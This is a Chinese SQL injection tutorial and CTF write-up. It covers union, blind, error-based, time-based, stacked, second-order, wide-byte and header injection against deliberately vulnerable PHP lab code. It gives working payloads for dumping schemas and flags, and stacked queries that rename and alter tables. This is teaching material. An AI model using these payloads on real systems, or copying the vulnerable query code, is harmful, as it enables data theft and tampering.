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0x01 预备知识

Mysql的相关知识

在MySQL 5.0之后，MySQL默认在数据库中存放一个”information_schema”的库，比较重要的三个表
名:SCHEMATA、TABLES以及COLUMNS。

information_schema.schemata:存储了所有库名。

struct

该表中记录库名的字段为:SCHEMA_NAME，因此可以如下注入:

-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+

information_schema.tables:存储了所有表名。

query
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struct

该表中记录库名的字段为:TABLE_SCHEMA，记录表名的字段为:TABLE_NAME

-1' union select 1,group_concat(TABLE_NAME),3 from information_schema.tables where TABLE_SCHEMA =
'ejucms' --+

information_schema.columns:存储了所有字段名。

query

struct

该表中记录库名的字段为:TABLE_SCHEMA，记录表名的字段为:TABLE_NAME，记录字段名的字段
为:COLUMN_NAME

-1' union select 1,group_concat(COLUMN_NAME),3 from information_schema.columss where TABLE_NAME
= 'eju_admin' --+

关于查询语句

无条件

select column_name from database_name.table_name;

一个条件

select column_name from database_name.table_name where column_name='';

两个条件

select column_name from database_name.table_name where column_name='' and column_name ='' ;

limit第一个参数为第几条记录(从0开始)，第二个参数为取几条记录

limit 0,1

database():当前库



version():当前MySQL版本

user():当前MySQL用户

注释符

# or 空格 or /**/

内联注释:/*! code*/

index.php?id=-1/*! UNION*//*! SELECT*/1,2,3

union联合查询:前面查询结果为空集，后面的查询结果才能显示出来。

Union Injection

下面的代码可以看到，输出了字段内容以及并没有进行任何检测过滤，并且$id属于int型，后面也没有什么需要
注释的地方。

$conn = mysqli_connect("localhost","root","root","security");

if(mysqli_connect_errno()){

echo "ERROR:".mysqli_connect_errno;

die();

}

$id = @$_GET['id'];

$result = mysqli_query($conn,"select * from users where `id`=".$id);

$row = mysqli_fetch_array($result);

echo $row['username'].":".$row['password'];

echo "
";

?>

看到输出了username以及password，因此就是普通的注入。

黑盒测试的话，这个一测就测的出来。

首先用 and 1=1 和 and 1=2两个永真及永假条件判断是否存在sql注入



可以判断存在sql注入。

判断有三个字段。

输出的字段为2,3.



可打印出所有的库名并且当前库为security.

爆出当前库的表名.

看到这里，其实爆出来好多库名，因为users这张表好几个库中都有.

添加一下条件即可.

取出了第二条数据.

Boolean Injection

检测了union、sleep、benchmark，因此不能使用

$conn = mysqli_connect("localhost","root","root","security");

if(mysqli_connect_errno()){



die("ERROR:".mysqli_connect_errno());

}

$id = $_GET['id'];

if(preg_match("/union|sleep|benchmark/i", $id)){

die("get out hacker!");

}

$result = mysqli_query($conn,"select * from users where `id` = '".$id."'");

$row = mysqli_fetch_array($result);

if($row){

echo "yes";

}else{

echo "no";

}

并且$id是string类型，需要闭合单引号，并且要注释掉剩下的单引号,只输出yes或者no，很容易想到就是sql注
入。

黑盒测试的话，闭合单引号，之后sleep()会爆hacker，就会去想用substr()

首先用length()来判断库名的长度。

接着用substr()来爆破库名。



substr(database(),1,1)

截取字符串，第一个参数为字符串，第二个参数为从第一个字符开始，第三个参数为每次只截取一个

url = "http://127.0.0.1/sql/boolean.php?id=1' and substr(database(),{},1) = '{}' --+".format(i+1,name[j])

当然也可以转换成ascii

id=1' and ord(substr(database(),1,1)=115) --+

接着就可以在substr()中嵌入select语句查询表以及字段,因为表不止一个，所以要用limt

url = "http://127.0.0.1/sql/boolean.php?id=1' and substr((select table_name from information_schema.tables
where table_schema='security' limit 1,1),{},1)='{}' --+".format(i,name[j])



url = "http://127.0.0.1/sql/boolean.php?id=1' and substr((select column_name from
information_schema.columns where table_schema='security' and table_name='flag' limit 0,1),{},1)='{}' --
+".format(i,name[j])

url = "http://127.0.0.1/sql/boolean.php?id=1' and substr((select column_name from security.flag limit 0,1),
{},1)='{}' --+".format(i,name[j])

两种都可以，但是第一种要注意，一定要同时指定库和表。

url = "http://127.0.0.1/sql/boolean.php?id=1' and substr((select flag from security.flag limit 0,1),{},1)='{}' --
+".format(i,name[j])

Error Injection

$conn = mysqli_connect("localhost","root","root","security");

if(mysqli_connect_errno()){

die("ERROR!");

}

$username = @$_GET['username'];

if($result = mysqli_query($conn,"select * from users where `username`='".$username."'")){

echo "ok";

}else{

echo mysqli_error($conn);

}

首先，是根据username条件 查询，只输出查询是否成功，不成功会报错，想到报错注入。



黑盒的话，输入单引号报错，其他的都没问题:

首先要说明一下用到的updatexml()

UPDATEXML (XML_document, XPath_string, new_value);

select updatexml(1,concat(0x7e,(select database()),0x7e),1)

concat()函数是将其连成一个字符串，因此不会符合XPATH_string的格式，从而出现格式错误，爆出用户

0x7eASCII码,实为~,upadtexml()报错信息为特殊字符、字母及之后的内容,为了前面字母丢失,开头连接一个特殊
字符~

爆数据库版本信息

?id=1' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

用户

?id=1' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)

数据库

?id=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

爆库

?id=1' and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM
information_schema.schemata limit 0,1),0x7e),1)

爆表

?id=1' and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM
information_schema.tables where table_schema=database() limit 0,1),0x7e),1)

爆字段

?id=1' and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM
information_schema.columns where table_name='flag' limit 0,1),0x7e),1)

爆字段内容

?id=1' and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,flag,0x23) FROM security.flag limit
0,1),0x7e),1)

当然，这里是以不知道库名、表名、字段名为例，因此使用information_schema这个库，如果白盒审计遇到，直
接from指定即可。



?username=admin' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) --+

?username=admin' and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e)
FROM information_schema.tables where table_schema=database() limit 0,1),0x7e),1)

?username=admin' and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e)
FROM information_schema.columns where table_name='flag' limit 0,1),0x7e),1)

' and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,flag,0x23) FROM security.flag limit 0,1),0x7e),1)

Time Injection

$conn = mysqli_connect("localhost","root","root");

if(mysqli_connect_errno()){

echo "ERROR:".mysqli_connect_errno()

}

$id = $_GET['id'];

if(preg_match(/union/i, $id)){

exit("get out!");

}

$result = mysqli_query($conn,"select * from users where `id`='".$id."'");

$row = mysqli_fetch_array($result);



if($row){

exit("yes");

}else{

exit("no");

}

?>

看一下上面的代码，首先是不能有union，其次是需要单引号闭合。当然这里也可以使用Boolean注入或其他方
法，我们用基于时间的盲注来演示。

id=1' and if(ord(substring(database(),1,1))=115,sleep(5),1) %23

id=1' and if(substr(database(),1,1)='s',sleep(5),1) %23

if(expr1,expr2,expr3):若expr1为TRUE则if()返回expr2否则返回expr3。



看到上面，如果满足条件的反应时间大概是14s，不满足则4s，证明执行了sleep(10)。

但是同样可以看到，也输出了yes和no可以用来判断，不过实战中如果碰到没有可判断的标志，就可以时间盲
注。

Stack Injection

try{

$conn = new PDO("mysql:host=localhost;dbname=security","root","root");

$conn->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);

$result = $conn->query("select * from users where `id`='".$_GET['id']."'");

$row = $result->setFetchMode(PDO::FETCH_ASSOC);

foreach($result->fetchAll() as $k=>$v){

foreach($v as $key => $value){

echo $value;

}

$dsn = null;

}

}

catch(PDOException $e){



echo "error";

}

$conn = null;

可以看到使用了PDO,使用PDO执行SQL语句时，可以执行多条语句，但只会返回第一条的结果，同时
mysql_multi_query()也可以查询多条语句。

强网杯-随便注:

easy_sql

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势:

 

function waf1($inject) {

 

preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return 
preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');

 

}

 

function waf2($inject) {

 

strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && 
strstr($inject, "prepare")');

 

}

 

if(isset($_GET['inject'])) {

 

$id = $_GET['inject'];

 

waf1($id);

 

waf2($id);

 

$mysqli = new mysqli("127.0.0.1","root","root","supersqli");



$mysqli = new mysqli("127.0.0.1","root","root","supersqli");

 

//多条sql语句

 

$sql = "select * from `words` where id = '$id';";

 

$res = $mysqli->multi_query($sql);

 

if ($res){//使用multi_query()执行一条或多条sql语句

 

do{

 

if ($rs = $mysqli->store_result()){//store_result()方法获取第一条sql语句查询结果

 

while ($row = $rs->fetch_row()){

 

var_dump($row);

 

echo "
";

 

}

 

$rs->Close(); //关闭结果集

 

if ($mysqli->more_results()){ //判断是否还有更多结果集

 

echo "

 

";
 



}

 

}

 

}while($mysqli->next_result()); //next_result()方法获取下一结果集，返回bool值

 

} else {

 

echo "error ".$mysqli->errno." : ".$mysqli->error;

 

}

 

$mysqli->close(); //关闭数据库连接

 

}

 

?>

 

先说上面的例子，因为PDO只返回第一条语句的结果，所以第二条可以考虑sleep()，基于时间的盲注。

 



 

可以看到是ok的.

 

那这里再说说强网杯的例子:

 

这个其实当时好像是没有给出代码的，那我们就先不仔细看代码了。

 

 

输入select报错如上，得知过滤了上述关键字。

 



 

1' show tables;

 

测试这里不需要注释什么，实战中需要注意，若后面有东西还是要注释的。

 

 

1' show columns from flag;

 

接下来查询按道理来说要用select，但select在黑名单中，考虑其他方法:

 



 

1'; handler flag open as Railgun; handler Railgun read first; handler Railgun close;#

 

第一种就是hanlder，其中上面的hanlder flag open as Railgun;其中的flag是表名。

 

上面呢是我本地的环境，现在用真实环境来说另外一种方法:

 

 

两个表，一串数字以及words，words跟进过后发现并没有flag的踪影。

 



 

1';show columns from `1919810931114514`;%23

 

这里需要注意，数字要用反引号包起来才行。

 

 

1'; handler `1919810931114514` open as Railgun; handler Railgun read first; handler 
Railgun close;#

 

好接下来说另一种方法:

 



 

1';

 

RENAME TABLE `words` TO `words1`;

 

RENAME TABLE `1919810931114514` TO `words`;

 

ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE 
utf8_general_ci NOT NULL;

 

show columns from words;%23

 

解释一下上面的payload，先把words表改为words1,然后再把数字表改为words，之后再把新words中的
flag字段改为id字段，后面的show columns就是看看成功没有。

 

 

可以看到id的类型是varchar(100)证明成功。

 



 

 

[SUCTF 2019]EasySQL

 

 

输入单引号也没有回显，估计是不需要闭合。

 

 

堆叠查询成功,但是执行show columns from Flag的时候回显nono，过滤了from、flag,经过测试还过滤了
where但是没有过滤select。

 

select $_GET['query'] || flag from flag 

 

在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接，但在mysql 缺省不支持。需要调整mysql 的
sql_mode模式：pipes_as_concat 来实现oracle 的一些功能

 



 

1;set sql_mode=PIPES_AS_CONCAT;select 1

 

二次注入

 

register.php

 

$username = $_GET['username'];

 

$password = $_GET['password'];

 

$result = mysqli_query($conn,"insert into users(`username`,`password`) 
values('".addslashes($username)."','".md5($password)."')");

 

others.php

 

id = intval($_GET['id']);

 

$result = mysqli_query($conn,"select * from users where `id`=".$id);

 

$row = mysqli_fetch_array($result);

 

$result2 = mysqli_query($conn,"select * from persion where 
`username`='".$username."'")

 

if($row2 = mysqli_fetch_array($result2)){



 

echo $row2['username'].":".$row2['money'];

 

}else{

 

echo mysqli_error($conn);

 

}

 

首先看register.php实现了一个注册的功能，将用户名用addslashes()处理以及把密码用md5()加密过后
插入数据库，当访问username=railgun’&password=123时:

 

INSERT INTO users(`username`,`password`) values('test\'','md5')

 

但是到数据库发现username还是railgun’，那么在others.php中拼接了username进入sql语句，即可造成
sql注入。也就是说一些转义的处理并没有带入数据库中。

 

宽字节注入

 

mysql_query("SET NAMES 'gbk'",$conn);

 

将数据库编码设置成了GBK(不止一种设置方法)，那么即是对单引号进行转义，仍然可以单引号逃逸:在GBK编
码中%df与%5c(‘\’)表示”運”,成功使得单引号逃逸。

 

1' ---> 1\'

 

1%df' ---> 1運'

 

后面的注入方法就与普通的一样了。

 

HTTP Head Injection

 

HTTP头注入，包括cookie注入、XFF注入等其他的注入方法.



HTTP头注入，包括cookie注入、XFF注入等其他的注入方法.

 

cookie.php

 

$id = $_COOKIE['id'];

 

$value = "1";

 

setcookie("id",$value);

 

$result = mysqli_query($conn,"select * from users where `id`=".$id);

 

上面就是cookie注入的问题代码，可以通过抓包修改cookie的方式完成注入。

 

其他的包括client-ip、x-forward-for、remote_addr等获取的ip若拼接进sql语句，同样可能造成sql注
入的情况。

 

编码注入

 

编码注入有可能是urlencode()处理传入的参数，然后拼接sql的时候进行urldecode()处理，或者直接用
base64_decode()处理传入的参数然后拼接进sql语句。

 

上述问题只要传入base64编码后的sql注入语句即可完成sql注入攻击。

 

Bypass Detection

 

对于sql注入的检测，可能的绕过方式是：大小写绕过、双写绕过、编码绕过、内联注释绕过等，当然如果黑
名单检测不全面，我们可以用没有被ban的关键字进行sql注入。

 

Some CTF

 

前面堆叠注入已经写了强网杯的随便注以及SUCTF的EasySQL。



 

[极客大挑战 2019]EasySQL

 

 

用户名admin’报错

 

 

直接:admin’ or 1=1 #

 



 

[极客大挑战 2019]LoveSQL

 

 

给了一串md5:测试了一下，没什么卵用。

 



 

 

这里要注意注释符#一般写为%23，接下来联合查询，username要写一个不存在的。

 

 



 

 



 

没有flag字样，打算加个limit条件遍历一下看看。

 

 

或者可以用group_concat()打印出来全部的。
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